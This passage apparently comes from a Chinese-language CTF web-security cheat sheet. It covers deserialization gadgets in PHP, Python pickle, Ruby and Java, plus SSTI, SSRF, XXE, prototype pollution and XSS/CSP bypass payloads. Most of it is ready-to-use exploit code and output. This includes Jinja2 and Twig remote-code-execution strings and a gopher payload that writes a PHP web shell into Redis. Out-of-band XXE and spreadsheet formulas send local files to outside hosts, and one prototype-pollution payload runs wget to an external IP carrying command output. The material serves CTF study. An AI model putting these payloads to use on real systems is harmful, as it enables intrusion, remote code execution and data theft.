    • Array
      • a:size:{key definition; value definition; (repeat per element)}
    • Object
      • O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
    • 其他
      • C - custom object
      • R - pointer reference

  • Public / Private / Protected 序列化

    • 例如：class名字為: Kaibro，變數名字: test

    • 若為Public，序列化後：

      • ...{s:4:"test";...}

    • 若為Private，序列化後：

      • ...{s:12:"%00Kaibro%00test"}

    • 若為Protected，序列化後：

      • ...{s:7:"%00*%00test";...}

    • Private和Protected會多兩個NULL byte

  • Example
    <?php

    class Kaibro {
        public $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);
  • Input: .php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • Example 2 - Private
    <?php

    class Kaibro {
        private $test = "ggininder";
        function __wakeup()
        {
            system("echo ".$this->test);
        }
    }

    $input = $_GET['str'];
    $kb = unserialize($input);

  • Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}

  • Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • CVE-2016-7124

    • 影響版本：
      • PHP5 < 5.6.25
      • PHP7 < 7.0.10
    • 物件屬性個數大於真正的屬性個數，會略過 __wakeup 的執行
    • 反序列化會失敗，但是 __destruct 會執行
    • HITCON 2016

  • 小特性

    • O:+4:"test":1:{s:1:"a";s:3:"aaa";}
    • O:4:"test":1:{s:1:"a";s:3:"aaa";}
    • 兩者結果相同

  • Fast Destruct

  • ASCII Strings

  • Phar:// 反序列化

    • phar 文件會將使用者自定義的 metadata 以序列化形式保存

    • 透過 phar:// 偽協議可以達到反序列化的效果

    • 常見影響函數: file_get_contents(), file_exists(), is_dir(), ...

    • 透過 phar 觸發反序列化時，檔名需要有副檔名(任意副檔名都行)

    • Payload generator

      <?php
  class TestObject {
  }

  @unlink("phar.phar");
  $phar = new Phar("phar.phar");
  $phar->startBuffering();
  $phar->setStub("<?php __HALT_COMPILER(); ?>");
  $o = new TestObject();
  $phar->setMetadata($o);
  $phar->addFromString("test.txt", "test");
  $phar->stopBuffering();
?>

    • php 識別 phar 是透過 __HALT_COMPILER();?>

      • 可以在開頭 stub 塞東西
      • e.g. 偽造 GIF 頭: $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

    • trigger phar deserialization by zip

      <?php
  class FLAG{}

  $obj=serialize(new FLAG());
  $zip = new ZipArchive;
  $res = $zip->open('test.zip', ZipArchive::CREATE);
  $zip->addFromString('test.txt', 'meow');
  $zip->setArchiveComment($obj);
  $zip->close();

  // trigger:  phar://test.zip

    • trigger phar deserialization by tar

      <?php
//@unlink("trigger.tar");
class FLAG{}
$phar = new PharData("trigger.tar");
$phar["kaibro"] = "meow";
$obj = new FLAG();
$phar->setMetadata($obj);
// trigger: phar://trigger.tar

    • Generic Gadget Chains

    • bypass phar:// 不能出現在開頭

      • compress.zlib://, compress.bzip2://, ...
      • compress.zlib://phar://meow.phar/test.txt
      • php://filter/read=convert.base64-encode/resource=phar://meow.phar

    • Example

Python Pickle

  • dumps() 將物件序列化成字串
  • loads() 將字串反序列化

Example:

a.py:

import os
import cPickle
import sys
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
    
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)

b.py:

import os
import cPickle
import sys
import base64

s = raw_input(":")

print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

  • 補充: NumPy CVE-2019-6446 RCE
    • 影響 NumPy <=1.16.0
    • 底層使用 pickle

Ruby/Rails Marshal

this one is not self-executing

this one actually relies on rails invoking a method on the resulting object after the deserialization

erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled

在 ERB 上，當 result 或 run method 被 call 時，@src 的 string 會被執行

  • 常見使用情境：

    • 以 Marshal 為 Cookie Serializer 時，若有 secret_key，則可以偽造 Cookie
    • 也可以透過 DeprecatedInstanceVariableProxy 去執行 ERB 的 result 來 RCE
      • 當 DeprecatedInstanceVariableProxy 被 unmarshal，rails session 對他處理時遇到不認識的 method 就會呼叫 method_missing，導致執行傳入的 ERB
      • @instance.__send__(@method)

  • Cookie Serializer

    • Rails 4.1 以前的 Cookie Serializer 為 Marshal
    • Rails 4.1 開始，默認使用 JSON

Ruby/Rails YAML

  • CVE-2013-0156
    • 舊版本的 Rails 中，XML 的 node 可以自訂 type，如果指定為 yaml，是會被成功解析的
    • 若反序列化 !ruby/hash，則相當於在物件上調用 obj[key]=val，也就是 []= 方法
    • 而這個 ActionDispatch::Routing::RouteSet::NamedRouteCollection 中的 []= 方法中，有一條代碼路徑可以 eval
    • define_hash_access 中可以看到 module_eval，裏頭的 selector 來自 name
    • 因為他還會對 value 調用 defaults method，所以可以利用 OpenStruct 來構造
      • 函數名=>返回值的對應關係存放在 @table 中
    • Payload:
    xml = %{  
<?xml version="1.0" encoding="UTF-8"?>  
<bingo type='yaml'>  
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection  
'test; sleep(10); test' :  
 !ruby/object:OpenStruct  
  table:  
   :defaults: {}  
</bingo>

}.strip
  • CVE-2013-0333
    • Rails 2.3.x 和 3.0.x 中，允許 text/json 的 request 轉成 YAML 解析
    • Yaml 在 Rails 3.0.x 是預設的 JSON Backend
    • 出問題的地方在於 YAML.load 前的 convert_json_to_yaml，他不會檢查輸入的 JSON 是否合法
    • 一樣可以透過 ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access 的 module_eval 來 RCE

Java Deserialization

  • 序列化資料特徵
    • ac ed 00 05 ...
    • rO0AB ... (Base64)
  • 反序列化觸發點
    • readObject()
    • readExternal()
    • ...
  • JEP290
    • Java 9 新特性，並向下支援到 8u121, 7u13, 6u141
    • 增加黑、白名單機制
    • Builtin Filter
      • JDK 包含了 Builtin Filter (白名單機制) 在 RMI Registry 和 RMI Distributed Garbage Collector
      • 只允許特定 class 被反序列化
      • 許多 RMI Payload 失效 (即便 classpath 有 gadegt)
  • Codebase
    • JDK 6u45, 7u21 開始，useCodebaseOnly 預設為 true
      • 禁止自動載入遠端 class 文件
    • JNDI Injection
      • JDK 6u132, 7u122, 8u113 下，com.sun.jndi.rmi.object.trustURLCodebase, com.sun.jndi.cosnaming.object.trustURLCodebase 預設為 false
        • RMI 預設不允許從遠端 Codebase 載入 Reference class
      • JDK 11.0.1, 8u191, 7u201, 6u211 後，com.sun.jndi.ldap.object.trustURLCodebase 預設為 false
        • LDAP 預設不允許從遠端 Codebase 載入 Reference class
      • 高版本JDK (8u191+)
        • codebase 無法利用 (trustURLCodebase=false)
        • 可能攻擊路徑
            1. 找可利用的 ObjectFactory
            • e.g. Tomcat 下可利用 org.apache.naming.factory.BeanFactory + javax.el.ELProcessor
            1. 透過 javaSerializedData 進行反序列化
  • Tool
    • yososerial
      • URLDNS: 不依賴任何額外library，可以用來做 dnslog 驗證
      • CommonCollections 1~7: Common collections 各版本 gadget chain
      • ...
    • BaRMIe
      • 專打 Java RMI (enumerating, attacking)
    • marshalsec
    • SerializationDumper
      • 分析 Serialization Stream，如 Magic 頭、serialVersionUID、newHandle 等
    • gadgetinspector
      • Bytecode Analyzer
      • 找 gadget chain
    • GadgetProbe
      • 透過字典檔配合 DNS callback，判斷環境使用哪些 library, class 等資訊
    • JNDI-Injection-Bypass
  • Java-Deserialization-Cheat-Sheet
  • Example

.NET Derserialization

SSTI

Server-Side Template Injection

img

Testing

  • {{ 7*'7' }}
    • Twig: 49
    • Jinja2: 7777777
  • <%= 7*7 %>
    • Ruby ERB: 49

Flask/Jinja2

  • Dump all used classes

    • {{ ''.__class__.__mro__[2].__subclasses__() }}

  • Read File

    • {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

  • Write File

    • {{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}

  • RCE

    • {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
      • evil config
    • {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
      • load config
    • {{ config['RUNCMD']('cat flag',shell=True) }}

  • RCE (another way)

    • {{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}

  • Python3 RCE

    • {% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
      {% if 'eval' in b.keys() %}
        {{ b['eval']('__import__("os").popen("id").read()') }}
      {% endif %}
    {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

  • 過濾中括號

    • __getitem__
    • {{''.__class__.__mro__.__getitem__(2)}}
      • {{''.__class__.__mro__[2]}}

  • 過濾{{ or }}

    • 用{%%}
    • 執行結果往外傳

  • 過濾.

    • {{''.__class__}}
      • {{''['__class__']}}
      • {{''|attr('__class__')}}

  • 過濾Keyword

    • 用 \xff 形式去繞
    • {{''["\x5f\x5fclass\x5f\x5f"]}}

  • 用request繞

    • {{''.__class__}}
      • {{''[request.args.kaibro]}}&kaibro=__class__

Twig / Symfony

  • RCE
    • {{['id']|map('passthru')}}
    • {{['id']|filter('system')}}
    • {{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}
    • {{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
    • {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • Read file
    • {{'/etc/passwd'|file_excerpt(30)}}
  • Version
    • {{constant('Twig\\Environment::VERSION')}}

thymeleaf

  • Java
  • Some payload
    • __${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x
    • __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
  • Example

AngularJS

  • v1.6 後移除 Sandbox
  • Payload
    • {{ 7*7 }} => 49
    • {{ this }}
    • {{ this.toString() }}
    • {{ constructor.toString() }}
    • {{ constructor.constructor('alert(1)')() }} 2.1 v1.0.1-v1.1.5
    • {{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 2.1 v1.0.1-v1.1.5
    • {{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23
    • {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29
    • {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20
    • {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} v1.4.0-v1.4.9
    • {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8
    • {{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6

Vue.js

Python

  • %
    • 輸入 %(passowrd)s 即可偷到密碼：
    userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd  = raw_input("Password: ")
if passwd != userdata["password"]:
    print ("Password " + passwd + " is wrong for user %(user)s") % userdata
  • f
    • python 3.6
    • example
      • a="gg"
      • b=f"{a} ininder"
        • >>> gg ininder
    • example2
      • f"{os.system('ls')}"

Tool

http://blog.portswigger.net/2015/08/server-side-template-injection.html

SSRF

Find SSRF

  • Webhook

  • From XXE to SSRF

    • <!ENTITY xxe SYSTEM "http://192.168.1.1/secret">

  • PDF generator / HTML renderer

    • 插 JS, Iframe, ...
    • e.g. <iframe src="file:///C:/Windows/System32/drivers/etc/hosts>

  • Open Graph

    • <meta property="og:image" content="http://kaibro.tw/ssrf">

  • SQL Injection

    • e.g. Oracle: ?id=1 union select 1,2,UTL_HTTP.request('http://10.0.0.1/secret') from dual

  • SVG parsing

  • ImageTragick

    • CVE-2016-3718
    push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

  • HTTPoxy

    • CGI 自動將 header Proxy 代入成環境變數 HTTP_Proxy
    • Proxy: http://evil.com:12345/

  • XSLT

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
  • FFMPEG
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST

Bypass 127.0.0.1

127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0

::1
::127.0.0.1
::ffff:127.0.0.1
::1%1

127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io

http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]

Bypass using Ⓐ Ⓑ Ⓒ Ⓓ

  • http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ
  • http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

內網IP

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

XSPA

  • port scan
    • 127.0.0.1:80 => OK
    • 127.0.0.1:87 => Timeout
    • 127.0.0.1:9487 => Timeout

302 Redirect Bypass

  • 用來繞過 protocol 限制
  • 第一次 SSRF，網站有做檢查、過濾
  • 302 跳轉做第二次 SSRF 沒有檢查

本地利用

  • file protocol

    • file:///etc/passwd
    • file:///proc/self/cmdline
      • 看他在跑啥
    • file:///proc/self/exe
      • dump binary
    • file:///proc/self/environ
      • 讀環境變數
    • curl file://google.com/etc/passwd
      • 新版已修掉
      • 實測 libcurl 7.47 可work
    • Java 原生可列目錄 (netdoc 亦可)
    • Perl/Ruby open Command Injection

  • Libreoffice CVE-2018-6871

    • 可以使用 WEBSERVICE 讀本地檔案，e.g./etc/passwd
    • 讀出來可以用 http 往外傳
      • =COM.MICROSOFT.WEBSERVICE(&quot;http://kaibro.tw/&quot;&amp;COM.MICROSOFT.WEBSERVICE(&quot;/etc/passwd&quot;))
      • e.g. DCTF 2018 final, FBCTF 2019
    • Example Payload: Link

遠程利用

  • Gopher
    • 可偽造任意 TCP，hen 蚌
    • gopher://127.0.0.1:5278/xGG%0d%0aININDER
  • 常見例子

    • Struts2

      • S2-016
        • action:、redirect:、redirectAction:
        • index.do?redirect:${new java.lang.ProcessBuilder('id').start()}

    • ElasticSearch

      • default port: 9200

    • Redis

      • default port: 6379
      • 用 SAVE 寫 shell
          FLUSHALL 
    SET myshell "<?php system($_GET['cmd']) ?>"
    CONFIG SET DIR /www 
    CONFIG SET DBFILENAME shell.php 
    SAVE
    QUIT
      • URLencoded payload: gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT

    • FastCGI

      • default port: 9000
      • example
        • Discuz Pwn
          • 302.php: <?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
          • x: <?php system($_GET['cmd']); ?>
          • visit: /forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]

    • MySQL

    • MSSQL

    • Tomcat

    • Docker

      • Remote api 未授權訪問
        • 開一個 container，掛載 /root/，寫 ssh key
        • 寫 crontab彈 shell
        • docker -H tcp://ip xxxx

    • ImageMagick - CVE-2016-3718

      • 可以發送 HTTP 或 FTP request
      • payload: ssrf.mvg
      push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
      • $ convert ssrf.mvg out.png

Metadata

AWS

Google Cloud

Digital Ocean

Azure

Alibaba

CRLF injection

SMTP

SECCON 2017 SqlSRF:

127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/

FingerPrint

  • dict
dict://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0

-> libcurl version
  • sftp
sftp://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2

-> ssh version
  • Content-Length
    • 送超大 Content-length
    • 連線 hang 住判斷是否為 HTTP Service

UDP

  • tftp
    • tftp://evil.com:5566/TEST
    • syslog

SSRF Bible:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

Testing Payload:

https://github.com/cujanovic/SSRF-Testing

XXE

內部實體

<!DOCTYPE kaibro[
    <!ENTITY param "hello">
]>
<root>&param;</root>

外部實體

<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

XXE on Windows

<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>

參數實體

<!DOCTYPE kaibro[
    <!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
    %remote;
]>
<root>&b;</root>

xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">

Out of Band (OOB) XXE

  • Blind 無回顯
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>

xxe.dtd:

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://kaibro.tw/?a=%file;'>">

CDATA

把特殊字元塞進 CDATA 解決無法讀取問題

<!DOCTYPE data [
 <!ENTITY % dtd SYSTEM "http://kaibro.tw/cdata.dtd">
     %dtd;
     %all;
 ]>
<root>&f;</root>

cdata.dtd:

<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">

DoS

  • Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

串Phar反序列化

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [ 
    <!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
    <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>

Error-based XXE

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message[ 
  <!ELEMENT message ANY >
  <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
  <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]> 
<message>a</message>

SOAP

<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>

XInclude

<?xml version="1.0" encoding="UTF-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://kaibro.tw/file.xml"></xi:include>
</root>

XSLT

Read local file:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

其它

Prototype Pollution

goodshit = {}
goodshit.__proto__.password = "ggininder"

user = {}
console.log(user.password)
# => ggininder
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2

o3 = {}
console.log(o3.b)
# => 2

jQuery

  • CVE-2019-11358

    • jQuery < 3.4.0
    • $.extend
    let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true

Lodash

  • SNYK-JS-LODASH-608086

    • versions < 4.17.17
    • 觸發點: setWith(), set()
    • Payload:
      • setWith({}, "__proto__[test]", "123")
      • set({}, "__proto__[test2]", "456")

  • CVE-2020-8203

    • versions < 4.17.16
    • 觸發點: zipObjectDeep()
    • Payload: zipObjectDeep(['__proto__.z'],[123])
      • console.log(z) => 123

  • CVE-2019-10744

  • CVE-2018-16487 / CVE-2018-3721

    • versions < 4.17.11
    • 觸發點: merge(), mergeWith(), defaultsDeep()
    var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
_.merge({}, JSON.parse(malicious_payload));

Process Spawning

  • 如果可以污染環境變數+Process spawning，將有機會RCE
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

// pollute
Object.prototype.env = {
	NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
	NODE_OPTIONS : '-r /proc/self/environ'
};

// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node  blank').toString());
({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
({}).__proto__.NODE_OPTIONS = `--experimental-loader="data:text/javascript,console.log('injection');"`;
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
  • 如果可以蓋 Object.prototype.shell，則 spawn 任意指令都可 RCE
const child_process = require('child_process');

Object.prototype.shell = 'node';
Object.prototype.env = {
   NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
   NODE_OPTIONS : '-r /proc/self/environ'
};

child_process.execSync('id');

require

  • 低版本 gadget
    • 實測 Node 15.x, 16.x, 17.x 都有機會 work
a = {} 
a["__proto__"]["exports"] = {".":"./pwn.js"} 
a["__proto__"]["1"] = "./" 
require("./index.js")

  • 高版本 gadget

    • 控制 trySelf 的 data, path 參數可以任意 LFI
      • 引入環境中的 preinstall.js 或 yarn.js 等檔案可 RCE
    • v18.8.0 works
    {
   "__proto__":{
      "data":{
         "name":"./usage",
         "exports":"./preinstall.js"
      },
      "path":"/opt/yarn-v1.22.19/",
      "shell":"sh",
      "contextExtensions":[
         {
            "process":{
               "env":{
                  "npm_config_global":"1",
                  "npm_execpath":""
               },
               "execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
            }
         }
      ],
   }
}

  • Example

Misc

Frontend

XSS

Cheat Sheet

Basic Payload

  • <script>alert(1)</script>
  • <svg/onload=alert(1)>
  • <img src=# onerror=alert(1)>
  • <a href="javascript:alert(1)">g</a>
  • <input type="text" value="g" onmouseover="alert(1)" />
  • <iframe src="javascript:alert(1)"></iframe>
  • ...

Testing

  • <script>alert(1)</script>
  • '"><script>alert(1)</script>
  • <img/src=@ onerror=alert(1)/>
  • '"><img/src=@ onerror=alert(1)/>
  • ' onmouseover=alert(1) x='
  • " onmouseover=alert(1) x="
  • `onmouseover=alert(1) x=`
  • javascript:alert(1)//
  • ....

繞過

  • //(javascript 註解) 被過濾時，可以利用算數運算符代替
    • <a href="javascript:alert(1)-abcde">xss</a>
  • HTML 特性
    • 不分大小寫
      • <ScRipT>
      • <img SrC=#>
    • 屬性值
      • src="#"
      • src='#'
      • src=#
      • src=`#` (IE)
  • 編碼繞過
    • <svg/onload=alert(1)>
      • <svg/onload=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;> (16進位) (分號可去掉)
  • 繞空白
    • <img/src='1'/onerror=alert(0)>

其他

  • 特殊標籤

    • 以下標籤中的腳本無法執行
    • <title>, <textarea>, <iframe>, <plaintext>, <noscript>...

  • 偽協議

    • javascript:
      • <a href=javascript:alert(1) >xss</a>
    • data:
      • <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>

  • Javascript 自解碼機制

    • <input type="button" onclick="document.write('&lt;img src=@ onerror=alert(1) /&gt;')" />
    • 會成功 alert(1)，因為 javascript 位於 HTML 中，在執行 javascript 前會先解碼 HTML 編碼
    • 但若是包在 <script> 中的 javascript，不會解碼 HTML 編碼
    • 此編碼為 HTML entity 和 &#xH;(hex), &#D;(dec) 形式

  • Javascript 中有三套編碼/解碼函數

    • escape/unescape
    • encodeURI/decodeURI
    • encodeURIComponent/decodeURICompinent

  • 一些 alert(document.domain) 的方法

  • Some Payload

    • <svg/onload=alert(1);alert(2)>
    • <svg/onload="alert(1);alert(2)">
    • <svg/onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;;alert(2)">
      • ;; 改成 ; 會失敗
      • 雙引號可去掉
      • 可10進位, 16進位混合
    • <svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
      • \u 形式只能用在 javascript，例如 onload 的 a 改成 \u0061 會失敗
    • <title><a href="</title><svg/onload=alert(1)>
      • title 優先權較大，直接中斷其他標籤
    • <svg><script>prompt&#40;1)</script>
      • 因為 <svg>，HTML Entities 會被解析
      • 去掉 <svg> 會失敗，<script>不會解析Entities
    • <? foo="><script>alert(1)</script>">
    • <! foo="><script>alert(1)</script>">
    • </ foo="><script>alert(1)</script>">
    • <% foo="><script>alert(1)</script>">

  • Markdown XSS

    • [a](javascript:prompt(document.cookie))
    • [a](j a v a s c r i p t:prompt(document.cookie))
    • [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    • [a](javascript:window.onerror=alert;throw%201)
    • ...

  • SVG XSS

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
  • iframe srcdoc XSS
<iframe srcdoc="&#x3C;svg/&#x6f;nload=alert(document.domain)&#x3E;">
  • Polyglot XSS
    • Example: PlaidCTF 2018 wave XSS
    • 上傳 .wave 檔 (會檢查 signatures) 
        RIFF`....WAVE...` 
  alert(1); 
  function RIFF(){}
      • 變成合法的 js 語法
      • wave在apache mime type 中沒有被定義
      • <script src="uploads/this_file.wave">

CSP evaluator

https://csp-evaluator.withgoogle.com/

Bypass CSP

  • base

    • 改變資源載入的域，引入惡意的 js
    • <base href ="http://kaibro.tw/">
    • RCTF 2018 - rBlog

  • script nonce

     <p>可控內容<p>
 <script src="xxx" nonce="AAAAAAAAAAA"></script>

    插入<script src="http//kaibro.tw/uccu.js" a="

     <p><script src="http//kaibro.tw/uccu.js" a="<p>
 <script src="xxx" nonce="AAAAAAAAAAA"></script>

  • Script Gadget

    • https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
    • is an existing JS code on the page that may be used to bypass mitigations
    • Bypassing CSP strict-dynamic via Bootstrap
      • <div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
    • Bypassing sanitizers via jQuery Mobile
      • <div data-role=popup id='--><script>alert(1)</script>'></div>
    • Bypassing NoScript via Closure (DOM clobbering)
      • <a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
    • Bypassing ModSecurity CRS via Dojo Toolkit
      • <div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
    • Bypassing CSP unsafe-eval via underscore templates
